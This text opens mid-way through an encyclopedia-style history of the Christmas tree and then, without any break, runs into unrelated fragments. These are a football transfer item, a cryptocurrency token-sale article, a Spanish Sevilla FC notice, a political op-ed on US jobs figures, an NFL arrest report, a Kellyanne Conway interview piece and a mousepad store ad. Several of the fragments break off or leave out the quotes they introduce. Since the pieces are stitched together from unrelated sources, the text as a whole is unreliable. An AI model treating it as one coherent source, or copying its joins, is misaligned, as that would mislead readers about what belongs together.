Their use at public entertainments, charity bazaars and in hospitals made them increasingly familiar however, and in 1906 a charity was set up specifically to ensure even poor children in London slums 'who had never seen a Christmas tree' would enjoy one that year.[51] Anti-German sentiment after World War I briefly reduced their popularity[52] but the effect was short-lived[53] and by the mid-1920s the use of Christmas trees had spread to all classes.[54] In 1933 a restriction on the importation of foreign trees led to the "rapid growth of a new industry" as the growing of Christmas trees within Britain became commercially viable due to the size of demand.[55] By 2013 the number of trees grown in Britain for the Christmas market was approximately 8 million[56] and their display in homes, shops and public spaces a normal part of the Christmas season.
North America [ edit ]
The Stranger's Gift First published image of a Christmas tree, frontispiece to Hermann Bokum's 1836
The tradition was introduced to North America in the winter of 1781 by Hessian soldiers stationed in the Province of Québec (1763–1791) to garrison the colony against American attack. General Friedrich Adolf Riedesel and his wife, the Baroness von Riedesel, held a Christmas party for the officers at Sorel, delighting their guests with a fir tree decorated with candles and fruits.[57]
The Christmas tree became very common in the United States in the early nineteenth century. The first image of a Christmas tree was published in 1836 as the frontispiece to The Stranger's Gift by Hermann Bokum. The first mention of the Christmas tree in American literature was in a story in the 1836 edition of The Token and Atlantic Souvenir, titled "New Year's Day", by Catherine Maria Sedgwick, where she tells the story of a German maid decorating her mistress's tree. Also, a woodcut of the British Royal family with their Christmas tree at Windsor Castle, initially published in The Illustrated London News December 1848, was copied in the United States at Christmas 1850, in Godey's Lady's Book. Godey's copied it exactly, except for the removal of the Queen's tiara and Prince Albert's moustache, to remake the engraving into an American scene.[58] The republished Godey's image became the first widely circulated picture of a decorated evergreen Christmas tree in America. Art historian Karal Ann Marling called Prince Albert and Queen Victoria, shorn of their royal trappings, "the first influential American Christmas tree".[59] Folk-culture historian Alfred Lewis Shoemaker states, "In all of America there was no more important medium in spreading the Christmas tree in the decade 1850–60 than Godey's Lady's Book". The image was reprinted in 1860, and by the 1870s, putting up a Christmas tree had become even more common in America.[58]
Several cities in the United States with German connections lay claim to that country's first Christmas tree: Windsor Locks, Connecticut, claims that a Hessian soldier put up a Christmas tree in 1777 while imprisoned at the Noden-Reed House,[60] while the "First Christmas Tree in America" is also claimed by Easton, Pennsylvania, where German settlers purportedly erected a Christmas tree in 1816. In his diary, Matthew Zahm of Lancaster, Pennsylvania, recorded the use of a Christmas tree in 1821, leading Lancaster to also lay claim to the first Christmas tree in America.[61] Other accounts credit Charles Follen, a German immigrant to Boston, for being the first to introduce to America the custom of decorating a Christmas tree.[62] August Imgard, a German immigrant living in Wooster, Ohio, is said to be the first to popularize the practice of decorating a tree with candy canes.[citation needed] In 1847, Imgard cut a blue spruce tree from a woods outside town, had the Wooster village tinsmith construct a star, and placed the tree in his house, decorating it with paper ornaments, gilded nuts and Kuchen.[63] German immigrant Charles Minnigerode accepted a position as a professor of humanities at the College of William & Mary in Williamsburg, Virginia, in 1842, where he taught Latin and Greek. Entering into the social life of the Virginia Tidewater, Minnigerode introduced the German custom of decorating an evergreen tree at Christmas at the home of law professor St. George Tucker, thereby becoming another of many influences that prompted Americans to adopt the practice at about that time.[64] An 1853 article on Christmas customs in Pennsylvania defines them as mostly "German in origin", including the Christmas tree, which is "planted in a flower pot filled with earth, and its branches are covered with presents, chiefly of confectionary, for the younger members of the family." The article distinguishes between customs in different states however, claiming that in New England generally "Christmas is not much celebrated", whereas in Pennsylvania and New York it is.[65]
When Edward H. Johnson was vice president of the Edison Electric Light Company, a predecessor of Con Edison, he created the first known electrically illuminated Christmas tree at his home in New York City in 1882. Johnson became the "Father of Electric Christmas Tree Lights".[66]
The lyrics sung in the United States to the German tune O Tannenbaum begin "O Christmas tree...", giving rise to the mistaken idea that the German word Tannenbaum (fir tree) means "Christmas tree", the German word for which is instead Weihnachtsbaum.
1935 to present [ edit ]
A Christmas tree from 1951, in a home in New York state
In Russia, the Christmas tree was banned after the October Revolution[67] but then reinstated as a New-year spruce (Новогодняя ёлка, Novogodnyaya yolka) in 1935. It became a fully secular icon of the New Year holiday, for example, the crowning star was regarded not as a symbol of Bethlehem Star, but as the Red star. Decorations, such as figurines of airplanes, bicycles, space rockets, cosmonauts, and characters of Russian fairy tales, were produced. This tradition persists after the fall of the USSR, with the New Year holiday outweighing the Christmas (7 January) for a wide majority of Russian people.[68]
The TV special A Charlie Brown Christmas (1965) was influential on the pop culture surrounding the Christmas tree. Aluminum Christmas trees were popular during the early 1960s in the US. They were satirized in the Charlie Brown show and came to be seen as symbolizing the commercialization of Christmas. The term Charlie Brown Christmas tree, describing any poor-looking or malformed little tree, also derives from the 1965 TV special, based on the appearance of Charlie Brown's Christmas tree.[69]
1935 to present
Christmas tree with presents
Christmas Tree in the cozy room at the Wisconsin Governor's mansion.
Christmas tea with Christmas Tree at an espresso shop in Eugene, Oregon
A Soviet-era (1960s) New Year tree decoration depicting a cosmonaut
Christmas Trees in church
An aluminum Christmas tree
Public Christmas trees [ edit ]
An early example of a public Christmas celebration tree for the unemployed in Prague
Since the early 20th century, it has become common in many cities, towns, and department stores to put up public Christmas trees outdoors, such as the Macy's Great Tree in Atlanta (since 1948), the Rockefeller Center Christmas Tree in New York City, and the large Christmas tree at Victoria Square in Adelaide. The use of fire retardant allows many indoor public areas to place real trees and be compliant with code. Licensed applicants of fire retardant solution spray the tree, tag the tree, and provide a certificate for inspection. Real trees are popular with high end visual merchandising displays around the world. Leading global retailers such as Apple often place real trees in their window displays. In 2009, Apple placed two Fraser fir trees in every one of its retail establishments.[citation needed]
The United States' National Christmas Tree has been lit each year since 1923 on the South Lawn of the White House. Today,[clarification needed] the lighting of the National Christmas Tree is part of what has become a major holiday event at the White House. President Jimmy Carter lit only the crowning star atop the tree in 1979 in honor of the Americans being held hostage in Iran.[70] The same was true in 1980, except that the tree was fully lit for 417 seconds, one second for each day the hostages had been in captivity.[70]
During most of the 1970s and 1980s, the largest decorated Christmas tree in the world was put up every year on the property of the National Enquirer in Lantana, Florida. This tradition grew into one of the most spectacular and celebrated events in the history of southern Florida, but was discontinued on the death of the paper's founder in the late 1980s.[71]
In some cities, a charity event called the Festival of Trees is organized, in which multiple trees are decorated and displayed.
The giving of Christmas trees has also often been associated with the end of hostilities. After the signing of the Armistice in 1918 the city of Manchester sent a tree, and £500 to buy chocolate and cakes, for the children of the much-bombarded town of Lille in northern France.[72] In some cases the trees represent special commemorative gifts, such as in Trafalgar Square in London, where the City of Oslo, Norway presents a tree to the people of London as a token of appreciation for the British support of Norwegian resistance during the Second World War; in Boston, where the tree is a gift from the province of Nova Scotia, in thanks for rapid deployment of supplies and rescuers to the 1917 ammunition ship explosion that leveled the city of Halifax; and in Newcastle upon Tyne, where the main civic Christmas tree is an annual gift from the city of Bergen, in thanks for the part played by soldiers from Newcastle in liberating Bergen from Nazi occupation.[73] Norway also annually gifts a Christmas tree to Washington, D.C. as a symbol of friendship between Norway and the US and as an expression of gratitude from Norway for the help received from the US during World War II.[74]
Chrismon trees [ edit ]
A Chrismon tree in the nave of St. Alban's Anglican Cathedral in Oviedo, Florida
A "Chrismon tree" is a Christmas tree decorated with explicitly Christian symbols in white and gold.[75][76] First introduced by North American Lutherans in 1957,[77] the practice has rapidly spread to other Christian denominations,[78] including Anglicans,[79] Catholics,[80] Methodists,[81] and the Reformed.[82]
"Chrismon" (plural "Chrismons") was adopted for the type of Christmas decoration and explained as a portmanteau of "Christ-monogram" (a Christogram).[83][84]
Customs and traditions [ edit ]
Setting up and taking down [ edit ]
A candle on a Christmas tree
Both setting up and taking down a Christmas tree are associated with specific dates. Traditionally, Christmas trees were not brought in and decorated until Christmas Eve (24 December)[citation needed] or, in the traditions celebrating Christmas Eve rather than the first day of Christmas, 23 December, and then removed the day after Twelfth Night (5 January); to have a tree up before or after these dates was even considered bad luck,[citation needed] and that to avoid bad luck from affecting the house's residents, the tree must be left up until after the following Twelfth Night passes.
In many areas, it has become customary to set up one's Christmas tree at the beginning of the Advent season.[85] Some families in the U.S. and Canada will put up a Christmas tree a week prior to American Thanksgiving (the fourth Thursday of November), and Christmas decorations can show up even earlier in retail stores, often the day after Halloween (31 October). In Canada many stores wait until after Remembrance Day, as to show respect to fallen soldiers.[86] Some households do not put up the tree until the second week of December, and leave it up until 6 January (Epiphany). In Germany, traditionally the tree is put up on 24 December and taken down on 7 January, though many start one or two weeks earlier, and in Roman Catholic homes the tree may be kept until 2 February (Candlemas).[why?][citation needed]
In Italy, Ireland and Argentina, along with many countries in Latin America, the Christmas tree is put up on 8 December (Immaculate Conception day) and left up until 6 January. In Australia, the Christmas tree is usually put up on 1 December, which occurs about 2 weeks before the school summer holidays (except for South Australia, where most people put up their tree in November following the completion of the Adelaide Christmas Pageant, a time frame that has started to filter into other states as the official time Christmas decorations and in store Santa Claus start to appear) and is left up until it is taken down.[citation needed] Some traditions suggest that Christmas trees may be kept up until no later than 2 February, the feast of the Presentation of Jesus at the Temple (Candlemas), when the Christmas season effectively closes.[87] Superstitions say that it is a bad sign if Christmas greenery is not removed by Candlemas Eve.[88]
Decoration [ edit ]
White House Christmas tree
Christmas ornaments are decorations (usually made of glass, metal, wood, or ceramics) that are used to decorate a Christmas tree. The first decorated trees were adorned with apples, white candy canes and pastries in the shapes of stars, hearts and flowers. Glass baubles were first made in Lauscha, Germany, and also garlands of glass beads and tin figures that could be hung on trees. The popularity of these decorations grew into the production of glass figures made by highly skilled artisans with clay molds.
Tinsel and several types of garland or ribbon are commonly used to decorate a Christmas tree. Silvered saran-based tinsel was introduced later. Delicate mold-blown and painted colored glass Christmas ornaments were a specialty of the glass factories in the Thuringian Forest, especially in Lauscha in the late 19th century, and have since become a large industry, complete with famous-name designers. Baubles are another common decoration, consisting of small hollow glass or plastic spheres coated with a thin metallic layer to make them reflective, with a further coating of a thin pigmented polymer in order to provide coloration. Lighting with electric lights (Christmas lights or, in the United Kingdom, fairy lights) is commonly done. A tree-topper, sometimes an angel but more frequently a star, completes the decoration.
In the late 1800s, home-made white Christmas trees were made by wrapping strips of cotton batting around leafless branches creating the appearance of a snow-laden tree. In the 1940s and 1950s, popularized by Hollywood films in the late 1930s, flocking was very popular on the West Coast of the United States. There were home flocking kits that could be used with vacuum cleaners. In the 1980s some trees were sprayed with fluffy white flocking to simulate snow.
Decorations
A transparent Christmas bauble
A golden bauble decorating a Christmas tree
Christmas baubles
A snowman-shaped decoration painted as a baseball
A toy bear Christmas decoration.
Fabergé egg as a Christmas decoration.
Christmas decorations
Red ornamented Christmas bauble
Christmas baubles
Production [ edit ]
Undecorated Christmas trees for sale
Each year, 33 to 36 million Christmas trees are produced in America, and 50 to 60 million are produced in Europe. In 1998, there were about 15,000 growers in America (a third of them "choose and cut" farms). In that same year, it was estimated that Americans spent $1.5 billion on Christmas trees.[89] By 2016 that had climbed to $2.04 billion for natural trees and a further $1.86 billion for artificial trees. In Europe, 75 million trees worth €2.4 billion ($3.2 billion) are harvested annually.[90]
Consumer cost [ edit ]
The average cost of a live cut tree in the United States was $64 in 2015 and this rose to $73 in 2017. The price is expected to hold steady for the next year.[91]
Father and son with their dog collecting a tree in the forest, painting by Franz Krüger (1797–1857)
Natural trees [ edit ]
The most commonly used species are fir (Abies), which have the benefit of not shedding their needles when they dry out, as well as retaining good foliage color and scent; but species in other genera are also used.
In northern Europe most commonly used are:
In North America, Central America, South America and Australia most commonly used are:
Several other species are used to a lesser extent. Less-traditional conifers are sometimes used, such as giant sequoia, Leyland cypress, Monterey cypress and eastern juniper. Various types of spruce tree are also used for Christmas trees (including the blue spruce and, less commonly, the white spruce); but spruces begin to lose their needles rapidly upon being cut, and spruce needles are often sharp, making decorating uncomfortable. Virginia pine is still available on some tree farms in the southeastern United States; however, its winter color is faded. The long-needled eastern white pine is also used there, though it is an unpopular Christmas tree in most parts of the country, owing also to its faded winter coloration and limp branches, making decorating difficult with all but the lightest ornaments. Norfolk Island pine is sometimes used, particularly in Oceania, and in Australia, some species of the genera Casuarina and Allocasuarina are also occasionally used as Christmas trees. But, by far, the most common tree is the Pinus radiata Monterey pine. Adenanthos sericeus or Albany woolly bush is commonly sold in southern Australia as a potted living Christmas tree. Hemlock species are generally considered unsuitable as Christmas trees due to their poor needle retention and inability to support the weight of lights and ornaments.
Some trees, frequently referred to as "living Christmas trees", are sold live with roots and soil, often from a plant nursery, to be stored at nurseries in planters or planted later outdoors and enjoyed (and often decorated) for years or decades. Others are produced in a container and sometimes as topiary for a porch or patio. However, when done improperly, the combination of root loss caused by digging, and the indoor environment of high temperature and low humidity is very detrimental to the tree's health; additionally, the warmth of an indoor climate will bring the tree out of its natural winter dormancy, leaving it little protection when put back outside into a cold outdoor climate. Often Christmas trees are a large attraction for living animals, including mice and spiders. Thus, the survival rate of these trees is low.[92] However, when done properly, replanting provides higher survival rates.[93]
European tradition prefers the open aspect of naturally grown, unsheared trees, while in North America (outside western areas where trees are often wild-harvested on public lands)[94] there is a preference for close-sheared trees with denser foliage, but less space to hang decorations.
In the past, Christmas trees were often harvested from wild forests, but now almost all are commercially grown on tree farms. Almost all Christmas trees in the United States are grown on Christmas tree farms where they are cut after about ten years of growth and new trees planted. According to the United States Department of Agriculture's agriculture census for 2007, 21,537 farms were producing conifers for the cut Christmas tree market in America, 5,717.09 square kilometres (1,412,724 acres) were planted in Christmas trees.[95]
The life cycle of a Christmas tree from the seed to a 2-metre (7 ft) tree takes, depending on species and treatment in cultivation, between 8 and 12 years. First, the seed is extracted from cones harvested from older trees. These seeds are then usually grown in nurseries and then sold to Christmas tree farms at an age of 3–4 years. The remaining development of the tree greatly depends on the climate, soil quality, as well as the cultivation and how the trees are tended by the Christmas tree farmer.[96]
Artificial trees [ edit ]
An artificial Christmas tree
A lighted artificial Christmas tree with ornaments
The first artificial Christmas trees were developed in Germany during the 19th century,[97][98] though earlier examples exist.[99] These "trees" were made using goose feathers that were dyed green.,[97] as one response by Germans to continued deforestation.[98] Feather Christmas trees ranged widely in size, from a small 2-inch (51 mm) tree to a large 98-inch (2,500 mm) tree sold in department stores during the 1920s.[100] Often, the tree branches were tipped with artificial red berries which acted as candle holders.[101]
Over the years, other styles of artificial Christmas trees have evolved and become popular. In 1930, the U.S.-based Addis Brush Company created the first artificial Christmas tree made from brush bristles.[102] Another type of artificial tree is the aluminum Christmas tree,[98] first manufactured in Chicago in 1958,[103] and later in Manitowoc, Wisconsin, where the majority of the trees were produced.[104] Most modern artificial Christmas trees are made from plastic recycled from used packaging materials, such as polyvinyl chloride (PVC).[98] Approximately 10% of artificial Christmas trees are using virgin suspension PVC resin; despite being plastic most artificial trees are not recyclable or biodegradable.[105]
Other trends have developed in the early 2000s as well. Optical fiber Christmas trees come in two major varieties; one resembles a traditional Christmas tree.[106] One Dallas-based company offers "holographic mylar" trees in many hues.[99] Tree-shaped objects made from such materials as cardboard,[107] glass,[108] ceramic or other materials can be found in use as tabletop decorations. Upside-down artificial Christmas trees became popular for a short time and were originally introduced as a marketing gimmick; they allowed consumers to get closer to ornaments for sale in retail stores and opened up floor space for more products.[109] Artificial trees became increasingly popular during the late 20th century.[98] Users of artificial Christmas trees assert that they are more convenient, and, because they are reusable, much cheaper than their natural alternative.[98] They are also considered much safer[110] as natural trees can be a significant fire hazard. Between 2001 and 2007 artificial Christmas tree sales in the U.S. jumped from 7.3 million to 17.4 million.[111] Currently it is estimated that around 58% of Christmas trees used in the United States are artificial while numbers in the United Kingdom are indicated to be around 66%.[112]
Environmental issues [ edit ]
The debate about the environmental impact of artificial trees is ongoing. Generally, natural tree growers contend that artificial trees are more environmentally harmful than their natural counterparts.[111] However, trade groups such as the American Christmas Tree Association, continue to refute that artificial trees are more harmful to the environment, and maintain that the PVC used in Christmas trees has excellent recyclable properties.[113]
point recyclage de sapins) in Christmas tree recycling point () in Paris , 22 January 2010
Live trees are typically grown as a crop and replanted in rotation after cutting, often providing suitable habitat for wildlife.[citation needed] Alternately, live trees can be donated to livestock farmers of such animals like goats who find that such trees uncontaminated by chemical additives are excellent fodder.[114] In some cases management of Christmas tree crops can result in poor habitat since it sometimes involves heavy input of pesticides.[115] Concerns have been raised[by whom?] about people cutting down old and rare conifers, such as the Keteleeria evelyniana and Abies fraseri, for Christmas trees[citation needed].
Real or cut trees are used only for a short time, but can be recycled and used as mulch, wildlife habitat, or used to prevent erosion.[116][117][118] Real trees are carbon-neutral, they emit no more carbon dioxide by being cut down and disposed of than they absorb while growing.[119] However, emissions can occur from farming activities and transportation. An independent life-cycle assessment study, conducted by a firm of experts in sustainable development, states that a natural tree will generate 3.1 kg (6.8 lb) of greenhouse gases every year (based on purchasing 5 km (3.1 miles) from home) whereas the artificial tree will produce 48.3 kg (106 lb) over its lifetime.[120] Some people use living Christmas or potted trees for several seasons, providing a longer life cycle for each tree. Living Christmas trees can be purchased or rented from local market growers. Rentals are picked up after the holidays, while purchased trees can be planted by the owner after use or donated to local tree adoption or urban reforestation services.[121] Smaller and younger trees may be replanted after each season, with the following year running up to the next Christmas allowing the tree to carry out further growth.
Most artificial trees are made of recycled PVC rigid sheets using tin stabilizer in the recent years. In the past, lead was often used as a stabilizer in PVC, but is now banned by Chinese laws.[citation needed] The use of lead stabilizer in Chinese imported trees has been an issue of concern among politicians and scientists over recent years. A 2004 study found that while in general artificial trees pose little health risk from lead contamination, there do exist "worst-case scenarios" where major health risks to young children exist.[122] A 2008 United States Environmental Protection Agency report found that as the PVC in artificial Christmas trees aged it began to degrade.[123] The report determined that of the 50 million artificial trees in the United States approximately 20 million were 9 or more years old, the point where dangerous lead contamination levels are reached.[123] A professional study on the life-cycle assessment of both real and artificial Christmas trees revealed that one must use an artificial Christmas tree at least 20 years to leave an environmental footprint as small as the natural Christmas tree.[120]
Religious issues [ edit ]
Bezbozhnik, distributed by the A 1931 edition of the Soviet magazine, distributed by the League of Militant Atheists , depicting an Orthodox Christian priest being forbidden to cut down a tree for Christmas
The earliest legend of the origin of the Christmas tree dates back to 723, involving Saint Boniface[124] as he was evangelizing Germany. According to a story not mentioned in his biographies (vitae), he stumbled upon a pagan gathering where a group of people dancing under a decorated oak tree were about to sacrifice a baby in the name of Thor. Boniface took an axe and called on the name of Jesus. In one swipe, he managed to take down the entire tree, to the crowds astonishment. Behind the fallen tree was a baby fir. Boniface said, "let this tree be the symbol of the true God, its leaves are ever green and will not die." The tree's needles pointed to heaven. Tradition holds that trees were used in formerly pagan homes from that moment forth, but decorated in the name of Jesus.[125]
The Christmas tree was first recorded to be used by German Lutherans in the 16th century, with records indicating that a Christmas tree was placed in the Cathedral of Strassburg in 1539, under the leadership of the Protestant Reformer, Martin Bucer.[126][127] In the United States, these "German Lutherans brought the decorated Christmas tree with them; the Moravians put lighted candles on those trees."[128][129] When decorating the Christmas tree, many individuals place a star at the top of the tree symbolizing the Star of Bethlehem, a fact recorded by The School Journal in 1897.[6][130] Professor David Albert Jones of Oxford University writes that in the 19th century, it became popular for people to also use an angel to top the Christmas tree in order to symbolize the angels mentioned in the accounts of the Nativity of Jesus.[7]
Under the Marxist-Leninist doctrine of state atheism in the Soviet Union, after its foundation in 1917, Christmas celebrations—along with other religious holidays—were prohibited as a result of the Soviet anti-religious campaign.[131][132][133] The League of Militant Atheists encouraged school pupils to campaign against Christmas traditions, among them being the Christmas tree, as well as other Christian holidays, including Easter; the League established an anti-religious holiday to be the 31st of each month as a replacement.[134] With the Christmas tree being prohibited in accordance with Soviet anti-religious legislation, people supplanted the former Christmas custom with New Year's trees.[133][135] In 1935 the tree was brought back as New Year tree and became a secular, not a religious holiday.
Pope John Paul II introduced the Christmas tree custom to the Vatican in 1982. Although at first disapproved of by some as out of place at the centre of the Roman Catholic Church, the Vatican Christmas Tree has become an integral part of the Vatican Christmas celebrations,[136] and in 2005 Pope Benedict XVI spoke of it as part of the normal Christmas decorations in Catholic homes.[137] In 2004, Pope John Paul called the Christmas tree a symbol of Christ. This very ancient custom, he said, exalts the value of life, as in winter what is evergreen becomes a sign of undying life, and it reminds Christians of the "tree of life" of Genesis 2:9, an image of Christ, the supreme gift of God to humanity.[138] In the previous year he said: "Beside the crib, the Christmas tree, with its twinkling lights, reminds us that with the birth of Jesus the tree of life has blossomed anew in the desert of humanity. The crib and the tree: precious symbols, which hand down in time the true meaning of Christmas."[139] The Catholic Church's official Book of Blessings has a service for the blessing of the Christmas tree in a home.[140] The Episcopal Church in The Anglican Family Prayer Book, which has the imprimatur of The Rt. Rev. Catherine S. Roskam of the Anglican Communion, has long had a ritual titled Blessing of a Christmas Tree, as well as Blessing of a Crèche, for use in the church and the home.[141]
Chrismon trees are a variety developed in 1957 by a Lutheran laywoman in Virginia, as a specifically religious version appropriate for a church's Christmas celebrations, although most Christian churches continue to display the traditional Christmas tree in their sanctuaries during Christmastide.[142]
In 2005, the city of Boston renamed the spruce tree used to decorate the Boston Common a "Holiday Tree" rather than a "Christmas Tree".[143] The name change was reversed after the city was threatened with several lawsuits.[144][dead link]
When pressed and asked whether the Serb would play for the Manchester team this season, Ferguson replied: "I believe so."
Vidic has been linked with a move to Spain for some time now but has remained loyal to Ferguson and Manchester United so far. He said last season that he had "every intention" to see out his contract at United, which runs to 2012. The defender and the team's other World Cup participants are expected to join up with the rest of the squad for the friendly against an Airtricity League XI in Dublin on Wednesday 4 August.
To avoid giving the impression of a “me-too” casual joiner in the token craze, Stox CEO Ophir Gertner emphasizes that Stock is a serious business managed by experienced professionals. To further differentiate Stox from the unwashed ICO masses, they don’t refer to the move as a “Token Sale.” It’s a “Token Generation Event.”
“The biggest difference, is that there is a real, substantial, experienced company behind this,” said Gertner. “This isn’t a few folks and a whitepaper that have never managed a company, dealt with user acquisition, weather the ups and downs, etc.”
In fact, Invest.com is a solid business. “Invest.com is the hedge fund for the people,” claims the company’s Crunchbase profile. “With invest.com you have easy and affordable access to tailored investment portfolios comprised of cutting edge investment strategies… We adhere to international financial regulations and are authorised in the European Economic Area. We maintain the highest standards of security to protect your data and your money.” The company has 3 million registered clients and reported $50 million in annual revenue.
Prediction markets are speculative markets created for the purpose of making predictions. The current market price for a prediction ‒ for example the election of a particular candidate ‒ can be interpreted as an aggregate, crowdsourced estimate of the probability of the prediction. In April Crypto Insider reported that Ethereum-based decentralized prediction market platform Gnosis raised $12.5 million in a token sale that completed in three hours.
Stox wants to be an open source, Bancor based prediction market platform, which allows anyone to predict and trade the outcome of events in finance, sports, politics, the weather, and other categories.
“The end goal for Stox is to create the leading decentralized prediction market used by mainstream audiences by maintaining a thriving ecosystem of users looking to invest in event outcomes and providers looking to create events and be compensated for operating them,” states the Stox website. “The main role of Stox is to develop the open source technology required for running the decentralized Stox platform and network and create a successful model incentivizing both users and providers to join the network.”
No date is given for the start of the Stox token (STX) sale, just that it’s “coming very soon.” While Gertner emphasizes that Stox is more than a whitepaper, there is a detailed Stox whitepaper. From the whitepaper we learn that the team aim to implement the Stox internal token, dubbed STX, as a Smart Token based on the Bancor protocol – an ERC20-compatible token template, which offers continuous liquidity via an on-chain market maker.
Bancor, which raised $147 million with it’s own token sale last month, wants to become a “YouTube for currency” that allows anyone to create their own cryptocurrency token and operate it independently of a third-party exchange, Bancor cofounder Eyal Hertzog told VentureBeat. See also Crypto Insider‘s interview with Bancor CEO Guy Benartzi, published in May.
RECONOCIMIENTO DEL CLUB A LA TERCERA MEJOR MARCA HISTÓRICA DE ABONADOS
El club regalará a sus socios un reloj conmemorativo de las cinco UEFA Europa League conquistadas, en agradecimiento por su contribución desde las gradas para alcanzar tamaños logros
El Sevilla FC suma ya más de 39.000 abonados, con la mayor parte de las zonas del estadio abonadas al cien por cien. La respuesta del sevillismo en este verano ha sido sobresaliente, pues de hecho se trata de la tercera mejor marca histórica de abonados de la entidad.
En reconocimiento a la enorme respuesta de sus aficionados un verano más y sobre todo por la importancia que ha tenido la afición en la consecución de las cinco UEFA Europa League que ha logrado en la última década, el club quiere premiar la fidelidad de sus socios con asiento –se excluyen los menores de 5 años- con el regalo de un reloj conmemorativo de los cinco títulos de UEFA Europa League que se han conquistado en la última década.
Con este presente, el Sevilla FC quiere agradecer a sus abonados su fidelidad y su entrega en las grandes noches continentales en las que las victorias, además de en el campo, se cocinaron en las gradas, haciendo del Ramón Sánchez-Pizjuán un campo prácticamente inexpugnable.
A party controlling the White House could not ask for much more from economic numbers than the Democrats got in Friday’s jobs report, issued a month and a day before the midterm elections. Unemployment fell to 5.9 percent, the lowest it has been since July 2008. The nation added 248,000 jobs, more than the forecasters had projected. What’s not to like?
President Obama, for one, is clearly frustrated that having inherited an economy that was at death’s door, he is getting remarkably little credit for getting it back on its feet.
“As Americans, we can and should be proud of the progress that our country has made over these past six years,” Obama said in a speech at Northwestern University the day before the figures were released. “Right now, there are more job openings than at any time since 2001. All told, the United States has put more people back to work than Europe, Japan, and every other advanced economy combined.”
And lest anyone miss the import of what he just said, the president added: “I want you to think about that.”
He would also like voters to think about that before they cast their ballots. And here is the conundrum of the 2014 campaign. In 2010, House Speaker John Boehner’s battle cry that helped Republicans win their landslide was, “Where are the jobs?” Obama and the Democrats are now in a position to reply: “Here are the jobs!”
But Boehner isn’t asking that question anymore.
Why doesn’t this good news matter more to the electorate? Obama and Democrats trying to survive this fall face two problems in getting voters to sing a joyous song.
The first is that the very improvement in the economy means that it is a less central concern to voters than it was when Obama took office — or in 2010. The Gallup Poll’s numbers are striking: In February 2009, 86 percent of Americans listed an economic issue as their central concern; in October 2010, on the eve of the last midterms, 69 percent did. But in the most recent Gallup survey, the proportion listing an economic issue was down to 41 percent. Better times mean different worries.
Yet voters who are still concerned about the economy tend to be focused not on its successes but on what it is failing to do for them. That’s the Democrats’ other problem. The unemployment rate is way down, but it’s still not low enough to create rapid and widespread wage growth. Many of the forces that have been driving up inequality since the 1980s are still with us.
This tension is far more difficult for Democrats to deal with than it would be for Republicans, were they presiding over exactly the same recovery. Democrats, going back to those happy Roosevelt days, have made their living as the party that lifts up the many and not just the privileged few. Republicans have traditionally said that growth is everything and if the rich get richer, their success will eventually work its way down to everyone else.
Democrats can’t (and shouldn’t) echo conservative bromides. They are right to point to all that still needs to be done to end income stagnation in the middle class and among the poor. In his Northwestern speech, Obama advanced his proposals on education, job training, college loans, a minimum wage increase, infrastructure investment, equal pay and work-family balance. All would help matters, if only they could get by Republicans in Congress.
But when progressives raise the problem of inequality, their conservative opponents turn around and blame that on Obama, too. The Wall Street Journal editorial page, which practically invented trickle-down economics, headlined an editorial on Friday “The President of Inequality.” The paper’s sudden solicitude for the downtrodden was rather jarring. Imagine an editorial in the Vatican’s newspaper extolling the virtues of atheism.
There is still a month to go before Election Day, enough time to develop a sustained argument that highlights both how much better the economy is and how much we still have to do to spread prosperity more widely. It’s more challenging than bragging, but it has the virtue of making clear that if today’s obstruction had been the rule in 2009, we’d still be in the soup.
Indianapolis Colts quarterback Andrew Luck (12) throws a pass over San Francisco 49ers defensive tackle Ray McDonald (91) in the second half of an NFL football game in San Francisco, Sunday, Sept. 22, 2013. (AP Photo/Ben Margot)
(Ben Margot)
The Chicago Bears took a chance on Ray McDonald, and it appears that gamble has backfired.
Damian Trujillo of NBC Bay Area reported Monday that the Bears' recent acquisition has been arrested on a charge of domestic violence and "possibly child endangerment." NFL.com and USA Today later confirmed that McDonald was also charged with child endangerment.
The charge stems from an allegation that McDonald assaulted a woman while she held a baby. NFL.com's Albert Breer shared a summary of the allegation from Santa Clara (Calif.) police:
(UPDATE: The Bears announced Monday afternoon that they have released McDonald, with General Manager Ryan Pace releasing a statement via Twitter:
The San Francisco 49ers released McDonald in December after he was accused of sexual assault in a case that's still being investigated. He'd been arrested in August on suspicion of domestic violence, but was never charged.
The NFL did its own investigation of the August incident and cleared McDonald. The defensive lineman has said he plans to sue the woman who accused him of sexual assault, as his attorney called the incident "clearly consensual."
Kellyanne Conway denounced reports about Donald Trump being compromised by Russia but stopped just short of denying them.
Trump’s senior advisor and former campaign manager appeared Wednesday morning on “Good Morning America,” where she described the reports as “unsubstantiated, uncorroborated.”
Related: Trump echoes Kremlin on foreign collusion: ‘Russia just said’ reports are ‘UTTER NONSENSE’
Buzzfeed posted what was purported to be a 35-page dossier presented to both Trump and President Barack Obama detailing a former British intelligence officer’s claims about Russia gathering compromising information about the president-elect.
“This is a report from the internet, not from the intelligence community, these 35 pages rife with misspellings completely unverified,” Conway said.
Conway said reporters could not prove the dossier was presented to the president and president-elect, because she said officials were not supposed to comment on classified intelligence briefings.
“I don’t even think this is fake news,” she said. “I think it’s just fake. I would take the news word right out of it.”
She sidestepped an opportunity to categorically deny that any of Trump’s associates met with Russian officials during the campaign.
“I certainly didn’t,” Conway said. “I wasn’t talking to Moscow — I was talking to people in Macomb County, Michigan. That’s how we won.”
The dossier claims Trump’s lawyer, Michael Cohen, met in August with Russian officials in the Czech Republic, which the attorney and Conway both denied.
“I was with Michael Cohen last night, and the president-elect and other advisors,” she said. “Michael Cohen has never been to Prague — we looked at his passport. He was at USC with his son, meeting with a baseball coach there, when this quote ‘dossier’ — very weighty, important-sounding word that I would also push back on. It’s an internet report, there’s a lot of crap on the internet, as we all know. He was in California, not in Moscow, not in Prague.”
ABC News’ George Stephanopoulos asked her again if anyone from the Trump campaign had met with Russian officials, and she offered a qualified denial.
“That is our understanding, absolutely,” Conway said. “There would be no reason to, there would be no reason for us to. It’s not how we won this campaign.
200 MVP Mousepads available on TL Store !
So this won't be another apologetic post about the delay with our EU store, nor is it a heads-up for our amazing
Thanks to Razer, we are proud to introduce the first non-TL branded product on the TL Store - the incredible RAZER GOLIATHUS E-SPORTS EDITION - TEAM MVP. Man, that's a mouthful - but this epic mousemat deserves its epic name. Right now we only have 200, and so you should probably rush to get one, even though we know you got the TeamLiquid Goliathus eight months ago. As we all know that's never a legit excuse...
Order Today!.
